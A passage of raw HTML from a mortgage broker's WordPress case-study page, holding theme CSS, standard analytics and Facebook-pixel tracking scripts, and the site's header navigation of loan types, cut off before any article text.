(max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading17019_989874-b6, .wp-block-kadence-advancedheading.kt-adv-heading17019_989874-b6[data-kb-block="kb-adv-heading17019_989874-b6"]{font-size:32px;}}.wp-block-kadence-advancedheading.kt-adv-heading17019_a1df9d-95, .wp-block-kadence-advancedheading.kt-adv-heading17019_a1df9d-95[data-kb-block="kb-adv-heading17019_a1df9d-95"]{text-align:left;font-size:18px;line-height:1.5;}.wp-block-kadence-advancedheading.kt-adv-heading17019_a1df9d-95 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading17019_a1df9d-95[data-kb-block="kb-adv-heading17019_a1df9d-95"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading17019_a1df9d-95, .wp-block-kadence-advancedheading.kt-adv-heading17019_a1df9d-95[data-kb-block="kb-adv-heading17019_a1df9d-95"]{font-size:16px;}}.kb-row-layout-id17019_db57b7-f4 > .kt-row-column-wrap{max-width:var( --global-content-width, 1390px );padding-left:var(--global-content-edge-padding);padding-right:var(--global-content-edge-padding);padding-top:32px;padding-right:48px;padding-bottom:32px;padding-left:48px;grid-template-columns:minmax(0, 1fr);}@media all and (max-width: 767px){.kb-row-layout-id17019_db57b7-f4 > .kt-row-column-wrap{padding-top:30px;padding-right:16px;padding-bottom:30px;padding-left:16px;grid-template-columns:minmax(0, 1fr);}}.kadence-column17019_db0904-f5 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column17019_db0904-f5 > .kt-inside-inner-col{flex-direction:column;}.kadence-column17019_db0904-f5 > .kt-inside-inner-col > .aligncenter{width:100%;}@media all and (max-width: 1024px){.kadence-column17019_db0904-f5 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column17019_db0904-f5 > .kt-inside-inner-col{flex-direction:column;}}.wp-block-kadence-advancedheading.kt-adv-heading17019_ccbbfe-ee, .wp-block-kadence-advancedheading.kt-adv-heading17019_ccbbfe-ee[data-kb-block="kb-adv-heading17019_ccbbfe-ee"]{margin-bottom:16px;text-align:left;font-size:36px;line-height:1.1;}.wp-block-kadence-advancedheading.kt-adv-heading17019_ccbbfe-ee mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading17019_ccbbfe-ee[data-kb-block="kb-adv-heading17019_ccbbfe-ee"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading17019_ccbbfe-ee, .wp-block-kadence-advancedheading.kt-adv-heading17019_ccbbfe-ee[data-kb-block="kb-adv-heading17019_ccbbfe-ee"]{font-size:32px;}}.wp-block-kadence-advancedheading.kt-adv-heading17019_cffc86-71, .wp-block-kadence-advancedheading.kt-adv-heading17019_cffc86-71[data-kb-block="kb-adv-heading17019_cffc86-71"]{text-align:left;font-size:18px;line-height:1.5;}.wp-block-kadence-advancedheading.kt-adv-heading17019_cffc86-71 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading17019_cffc86-71[data-kb-block="kb-adv-heading17019_cffc86-71"] mark.kt-highlight{-webkit-box-decoration-break:clone;box-decoration-break:clone;}@media all and (max-width: 767px){.wp-block-kadence-advancedheading.kt-adv-heading17019_cffc86-71, .wp-block-kadence-advancedheading.kt-adv-heading17019_cffc86-71[data-kb-block="kb-adv-heading17019_cffc86-71"]{font-size:16px;}}.wp-block-kadence-image.kb-image17019_036d7d-8b:not(.kb-specificity-added):not(.kb-extra-specificity-added){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;}.kb-image17019_036d7d-8b .kb-image-has-overlay:after{opacity:0.3;}
</style>
<style id='kadence_blocks_custom_css-inline-css'>
.kb-row-layout-id17019_178165-39 .kt-row-column-wrap{  grid-template-columns:75px 1fr!important;}.kb-row-layout-id17019_125866-34 a{color:#FFD400;}
</style>
<style id="kadence_blocks_palette_css">:root .has-kb-palette-6-color{color:#575757}:root .has-kb-palette-6-background-color{background-color:#575757}:root .has-kb-palette-7-color{color:#7f7f7f}:root .has-kb-palette-7-background-color{background-color:#7f7f7f}:root .has-kb-palette-2-color{color:#231f58}:root .has-kb-palette-2-background-color{background-color:#231f58}:root .has-kb-palette-3-color{color:#f4f3f4}:root .has-kb-palette-3-background-color{background-color:#f4f3f4}:root .has-kb-palette-4-color{color:#50588e}:root .has-kb-palette-4-background-color{background-color:#50588e}:root .has-kb-palette-5-color{color:#293276}:root .has-kb-palette-5-background-color{background-color:#293276}</style><script src="https://intuitivefinance.com.au/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script>
<script defer="defer" src="https://intuitivefinance.com.au/wp-content/plugins/widget-google-reviews/assets/js/public-main.js?ver=5.0" id="grw-public-main-js-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/alpinejs_intersect_3.x.x.min.js?ver=3.x.x" id="alpinejs_intersect-js"></script>
<script defer src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/alpinejs_collective_toolkit.1.0.2.min.js?ver=1.0.2" id="alpinejs_toolkit-js"></script><script defer src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/alpinejs.3.13.0.min.js?ver=3.13.0" id="alpinejs-js"></script><script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/js.cookie-2.1.3.min.js?ver=2.1.3" id="js-cookie-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/jquery.bind-first-0.2.3.min.js?ver=6.6.2" id="jquery-bind-first-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/vimeo.min.js?ver=6.6.2" id="vimeo-js"></script>
<script id="pys-js-extra">
var pysOptions = {"staticEvents":{"facebook":{"init_event":[{"delay":0,"type":"static","name":"PageView","pixelIds":["600791710546829"],"eventID":"d81f820e-7d79-4df3-9ff7-12b07482b47b","params":{"page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"init_event","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}]}},"dynamicEvents":{"signal_click":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"01d2acd9-c90a-4f52-aba9-4c1088eea419","params":{"page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_click","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_watch_video":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"91e24009-9ede-4cf9-bac7-c37b0ea40839","params":{"event_action":"Video ","page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_watch_video","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_adsense":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"63b28be2-8b95-4096-b39e-a2b868dfc06a","params":{"event_action":"Adsense","page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_adsense","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_tel":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"10f56ef2-6097-4a10-8bf0-7fdbf6a805e6","params":{"event_action":"Tel","page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_tel","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_email":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"f1d15917-5d6d-41e1-8a21-bb95199937bb","params":{"event_action":"Email","page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_email","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_form":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"51878cd9-9db1-4f39-b3b1-02f62d94a70c","params":{"event_action":"Form","page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_form","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_download":{"facebook":{"delay":0,"type":"dyn","name":"Signal","extensions":["","doc","exe","js","pdf","ppt","tgz","zip","xls"],"pixelIds":["600791710546829"],"eventID":"ab698eec-0935-49d4-bd28-9ecf5dc7b888","params":{"event_action":"Download","page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_download","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}},"signal_comment":{"facebook":{"delay":0,"type":"dyn","name":"Signal","pixelIds":["600791710546829"],"eventID":"45aee98f-9700-4898-bf89-f95e5953d66d","params":{"event_action":"Comment","page_title":"Sam and Amy \u2013 No Deposit Home Loan","post_type":"case-studies","post_id":17019,"plugin":"PixelYourSite","event_url":"intuitivefinance.com.au\/case-studies\/sam-and-amy-no-deposit-home-loan\/","user_role":"guest"},"e_id":"signal_comment","ids":[],"hasTimeWindow":false,"timeWindow":0,"woo_order":"","edd_order":""}}},"triggerEvents":[],"triggerEventTypes":[],"facebook":{"pixelIds":["600791710546829"],"defoultPixelIds":["600791710546829"],"advancedMatching":[],"removeMetadata":false,"wooVariableAsSimple":false,"serverApiEnabled":true,"ajaxForServerEvent":true,"wooCRSendFromServer":false,"send_external_id":true},"debug":"","siteUrl":"https:\/\/intuitivefinance.com.au","ajaxUrl":"https:\/\/intuitivefinance.com.au\/wp-admin\/admin-ajax.php","trackUTMs":"1","trackTrafficSource":"1","user_id":"0","enable_lading_page_param":"1","cookie_duration":"7","signal_watch_video_enabled":"1","enable_event_day_param":"1","enable_event_month_param":"1","enable_event_time_param":"1","enable_remove_target_url_param":"1","enable_remove_download_url_param":"1","gdpr":{"ajax_enabled":false,"all_disabled_by_api":false,"facebook_disabled_by_api":false,"analytics_disabled_by_api":false,"google_ads_disabled_by_api":false,"pinterest_disabled_by_api":false,"bing_disabled_by_api":false,"facebook_prior_consent_enabled":true,"analytics_prior_consent_enabled":true,"google_ads_prior_consent_enabled":true,"pinterest_prior_consent_enabled":true,"bing_prior_consent_enabled":true,"cookiebot_integration_enabled":false,"cookiebot_facebook_consent_category":"marketing","cookiebot_analytics_consent_category":"statistics","cookiebot_google_ads_consent_category":"marketing","cookiebot_pinterest_consent_category":"marketing","cookiebot_bing_consent_category":"marketing","cookie_notice_integration_enabled":false,"cookie_law_info_integration_enabled":false,"real_cookie_banner_integration_enabled":false,"consent_magic_integration_enabled":false},"edd":{"enabled":false},"woo":{"enabled":false}};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/pixelyoursite-pro/dist/scripts/public.js?ver=8.4.0" id="pys-js"></script>
<link rel="https://api.w.org/" href="https://intuitivefinance.com.au/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://intuitivefinance.com.au/wp-json/wp/v2/case-studies/17019" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://intuitivefinance.com.au/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.6.2" />
<link rel='shortlink' href='https://intuitivefinance.com.au/?p=17019' />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://intuitivefinance.com.au/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fintuitivefinance.com.au%2Fcase-studies%2Fsam-and-amy-no-deposit-home-loan%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://intuitivefinance.com.au/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fintuitivefinance.com.au%2Fcase-studies%2Fsam-and-amy-no-deposit-home-loan%2F&#038;format=xml" />

<!-- This site is using AdRotate v5.13.5 to display their advertisements - https://ajdg.solutions/ -->
<!-- AdRotate CSS -->
<style type="text/css" media="screen">
	.g { margin:0px; padding:0px; overflow:hidden; line-height:1; zoom:1; }
	.g img { height:auto; }
	.g-col { position:relative; float:left; }
	.g-col:first-child { margin-left: 0; }
	.g-col:last-child { margin-right: 0; }
	@media only screen and (max-width: 480px) {
		.g-col, .g-dyn, .g-single { width:100%; margin-left:0; margin-right:0; }
	}
</style>
<!-- /AdRotate CSS -->

<!-- start Simple Custom CSS and JS -->
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-TC9L8FJ9');</script>
<!-- End Google Tag Manager --><!-- end Simple Custom CSS and JS -->
<!-- start Simple Custom CSS and JS -->
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-BLF20Y9Q8Z"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-BLF20Y9Q8Z');
</script>

<meta name="google-site-verification" content="pkpQlMHgip0UEDHJS0t6PrpfF3w687AcNTEh6GKH0Us" />
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- end Simple Custom CSS and JS -->
<!-- start Simple Custom CSS and JS -->
<script>
/* Default comment here */ 

jQuery(document).ready(function(){
	jQuery(document).on('click', '.guidebtmdwnldbtn', function(event){
		event.preventDefault();
		jQuery("html").animate({ scrollTop: 0 }, "slow");
	});
});

</script>
<!-- end Simple Custom CSS and JS -->

<!-- StarBox - the Author Box for Humans 3.5.3, visit: https://wordpress.org/plugins/starbox/ -->
<!-- /StarBox - the Author Box for Humans -->

<link rel="icon" href="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-150x150.png" sizes="32x32" />
<link rel="icon" href="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-300x300.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-300x300.png" />
<meta name="msapplication-TileImage" content="https://intuitivefinance.com.au/wp-content/uploads/2024/10/favicon-300x300.png" />
</head>

<body class="case-studies-template-default single single-case-studies postid-17019 wp-custom-logo wp-embed-responsive footer-on-bottom hide-focus-outline link-style-standard content-title-style-above content-width-normal content-style-boxed content-vertical-padding-hide non-transparent-header mobile-non-transparent-header" x-data="{modalOverlay:false}" :class="{dim:modalOverlay}">
<div id="wrapper" class="site wp-site-blocks" >
			<a class="skip-link screen-reader-text scroll-ignore" href="#main">Skip to content</a>
		<header id="masthead" class="site-header" role="banner" itemtype="https://schema.org/WPHeader" itemscope>
	<div id="main-header" class="site-header-wrap">
		<div class="site-header-inner-wrap">
			<div class="site-header-upper-wrap">
				<div class="site-header-upper-inner-wrap">
					<div class="site-top-header-wrap site-header-row-container site-header-focus-item site-header-row-layout-standard" data-section="kadence_customizer_header_top">
	<div class="site-header-row-container-inner">
				<div class="site-container">
			<div class="site-top-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-top-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_header_html">
	<div class="header-html inner-link-style-normal"><div class="header-html-inner"><ul class="top_left_actions">
<li><a class="icon_cal" href="/appointments/">Book a Consultation</a></li>
<li><a class="icon_tel" href="tel:1300342505">1300 342 505</a></li>
</ul>
</div></div></div><!-- data-section="header_html" -->
					</div>
																	<div class="site-header-top-section-right site-header-section site-header-section-right">
						<div class="site-header-item site-header-focus-item" data-section="kadence_customizer_header_social">
	<div class="header-social-wrap"><div class="header-social-inner-wrap element-social-inner-wrap social-show-label-false social-style-filled"><a href="https://www.facebook.com/IntuitiveFinance" aria-label="Facebook" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-facebook"><span class="social-icon-custom-svg" style="max-width:24px"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none"><title>Facebook</title><g clip-path="url(#clip0_2727_2965)">     <path d="M24 12.5C24 5.87188 18.6281 0.5 12 0.5C5.37188 0.5 0 5.87188 0 12.5C0 18.4906 4.3875 23.4547 10.125 24.3547V15.9688H7.07812V12.5H10.125V9.85625C10.125 6.84922 11.9156 5.1875 14.6578 5.1875C15.9703 5.1875 17.3438 5.42188 17.3438 5.42188V8.375H15.8297C14.3391 8.375 13.875 9.30078 13.875 10.25V12.5H17.2031L16.6711 15.9688H13.875V24.3547C19.6125 23.4547 24 18.4906 24 12.5Z" fill="#FFD400"></path>   </g>   <defs>     <clipPath id="clip0_2727_2965">       <rect width="24" height="24" fill="white" transform="translate(0 0.5)"></rect>     </clipPath>   </defs> </svg></span></a><a href="https://www.youtube.com/channel/UClJk4jLqboW1xaqGaiAU1Kg" aria-label="YouTube" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-youtube"><span class="social-icon-custom-svg" style="max-width:24px"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="25" viewBox="0 0 24 25" fill="none"><title>Youtube</title><path fill-rule="evenodd" clip-rule="evenodd" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM17.0008 8.37466C17.5516 8.5258 17.9853 8.97111 18.1325 9.53661C18.4 10.5615 18.4 12.7 18.4 12.7C18.4 12.7 18.4 14.8384 18.1325 15.8634C17.9853 16.4289 17.5516 16.8742 17.0008 17.0254C16.0027 17.3 12 17.3 12 17.3C12 17.3 7.99732 17.3 6.99913 17.0254C6.44837 16.8742 6.01462 16.4289 5.86742 15.8634C5.60001 14.8384 5.60001 12.7 5.60001 12.7C5.60001 12.7 5.60001 10.5615 5.86742 9.53661C6.01462 8.97111 6.44837 8.5258 6.99913 8.37466C7.99732 8.1 12 8.1 12 8.1C12 8.1 16.0027 8.1 17.0008 8.37466Z" fill="#FFD400"></path>   <path d="M10.8 14.8999V10.8999L14 12.9L10.8 14.8999Z" fill="#FFD400"></path> </svg></span></a><a href="https://www.linkedin.com/company/intuitive-finance-pty-ltd-australia-/?trk=public_profile_topcard-current-company" aria-label="Linkedin" target="_blank" rel="noopener noreferrer"  class="social-button header-social-item social-link-linkedin"><span class="social-icon-custom-svg" style="max-width:24px"><svg fill="none" viewBox="0 0 24 25" height="25" width="24" xmlns="http://www.w3.org/2000/svg"><title>LinkedIn</title><path fill="#FFD400" d="M12 0.5C5.37258 0.5 0 5.87258 0 12.5C0 19.1274 5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM5.7608 10.4389H8.48027V18.6098H5.7608V10.4389ZM8.65939 7.91135C8.64174 7.1102 8.06883 6.5 7.13852 6.5C6.20821 6.5 5.60001 7.1102 5.60001 7.91135C5.60001 8.6959 6.19023 9.32367 7.10322 9.32367H7.1206C8.06883 9.32367 8.65939 8.6959 8.65939 7.91135ZM15.1566 10.2471C16.9461 10.2471 18.2877 11.4151 18.2877 13.9249L18.2876 18.6098H15.5682V14.2384C15.5682 13.1404 15.1747 12.3911 14.1903 12.3911C13.4389 12.3911 12.9914 12.8962 12.7949 13.3841C12.723 13.5589 12.7053 13.8025 12.7053 14.0467V18.61H9.98555C9.98555 18.61 10.0214 11.2059 9.98555 10.4391H12.7053V11.5965C13.0663 11.0401 13.7127 10.2471 15.1566 10.2471Z" clip-rule="evenodd" fill-rule="evenodd"></path> </svg></span></a></div></div></div><!-- data-section="header_social" -->
					</div>
							</div>
		</div>
	</div>
</div>
<div class="site-main-header-wrap site-header-row-container site-header-focus-item site-header-row-layout-standard kadence-sticky-header" data-section="kadence_customizer_header_main" data-reveal-scroll-up="true" data-shrink="false">
	<div class="site-header-row-container-inner">
				<div class="site-container">
			<div class="site-main-header-inner-wrap site-header-row site-header-row-has-sides site-header-row-no-center">
									<div class="site-header-main-section-left site-header-section site-header-section-left">
						<div class="site-header-item site-header-focus-item" data-section="title_tagline">
	<div class="site-branding branding-layout-standard site-brand-logo-only"><a class="brand has-logo-image" href="https://intuitivefinance.com.au/" rel="home"><picture class="custom-logo" decoding="async">
<source type="image/webp" srcset="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png.webp"/>
<img width="260" height="90" src="https://intuitivefinance.com.au/wp-content/uploads/2024/09/intuitive_finance_logo.png" alt="Intuitive Finance" decoding="async"/>
</picture>
</a></div></div><!-- data-section="title_tagline" -->
					</div>
																	<div class="site-header-main-section-right site-header-section site-header-section-right">
						<div class="site-header-item site-header-focus-item site-header-item-main-navigation header-navigation-layout-stretch-false header-navigation-layout-fill-stretch-false" data-section="kadence_customizer_primary_navigation">
	    <div x-data="{ openMenus: {}, closeMenus() { this.openMenus = {}; } }" @click.outside="closeMenus()">
    <div class="menu-main-header-menu-container"><ul id="x-primary-menu" class="menu"><li class="home menu-item menu-item-type-custom menu-item-object-custom" :class="{'active': openMenus[0] === 'submenu-19529-0'}"><a href="/">Home</a></li><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-5490-0'}"><a href="#" @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-5490-0' ? null : 'submenu-5490-0'">About</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-5490-0' ? null : 'submenu-5490-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-5490-0'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-5490-0'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-9450-1'}"><a href="https://intuitivefinance.com.au/what-makes-us-different/">What Makes Us Different</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-11635-1'}"><a href="https://intuitivefinance.com.au/testimonials/">Testimonials</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[1] === 'submenu-16055-1'}"><a href="https://intuitivefinance.com.au/careers/">Broker &#038; Administration Careers</a></li></ul></li><li class="xmega-menu cursor-default menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[0] === 'submenu-20372-0'}"><a href="#" @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-20372-0' ? null : 'submenu-20372-0'">Loans</a>
                <button @click.stop.prevent="openMenus[1]={};openMenus[2]={};openMenus[3]={};openMenus[0] = openMenus[0] === 'submenu-20372-0' ? null : 'submenu-20372-0'"
                    x-bind:aria-expanded="openMenus[0] === 'submenu-20372-0'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_1" x-show="openMenus[0] === 'submenu-20372-0'" x-cloak><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[1] === 'submenu-5887-1'}"><a href="/loans/loan-types/">Loan Types</a>
                <button @click.stop.prevent="openMenus[1] = openMenus[1] === 'submenu-5887-1' ? null : 'submenu-5887-1'"
                    x-bind:aria-expanded="openMenus[1] === 'submenu-5887-1'" 
                    class="submenu-toggle">
                    <svg xmlns="http://www.w3.org/2000/svg" width="20" height="21" viewBox="0 0 20 21" fill="none">
                        <path d="M10.3314 13.9892C10.1484 14.1723 9.8516 14.1723 9.66854 13.9892L4.88949 9.21014C4.70643 9.02707 4.70643 8.73032 4.88949 8.54726L5.11046 8.32626C5.29352 8.1432 5.59031 8.1432 5.77338 8.32626L9.99998 12.5529L14.2266 8.32626C14.4097 8.1432 14.7064 8.1432 14.8895 8.32626L15.1105 8.54726C15.2935 8.73032 15.2935 9.02707 15.1105 9.21014L10.3314 13.9892Z" fill="currentColor"/>
                    </svg>
                </button><ul class="sub-menu lvl_2" x-show="openMenus[1] === 'submenu-5887-1'" x-cloak><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5992-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/variable-rate-home-loan/">Variable-Rate Home Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5988-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/fixed-rate-home-loan/">Fixed-Rate Home Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20388-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/investment-loan/">Investment Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20385-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/loan-refinance/">Loan Refinancing</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-12889-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/guarantor-home-loan/">Guarantor <span>Home Loans</span></a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-12987-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/no-deposit-home-loans/">Low-Deposit <span>Home Loans</span></a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5986-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/bridging-loan/">Bridging Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5987-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/construction/">Construction Loan</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20392-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/equity-release-loan/">Equity Release Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5990-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/offset/">Offset Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-5991-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/split-loan/">Split Loans</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-16346-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/asset-finance/">Asset Finance</a></li><li class=" menu-item menu-item-type-post_type menu-item-object-page" :class="{'active': openMenus[2] === 'submenu-20395-2'}"><a href="https://intuitivefinance.com.au/loans/loan-types/commercial-loan/">Commercial Loans</a></li></ul></li><li class=" menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children" :class="{'active': openMenus[1] === 'submenu-5872-1'}"><a href="/loans/borrower-types/">Borrower 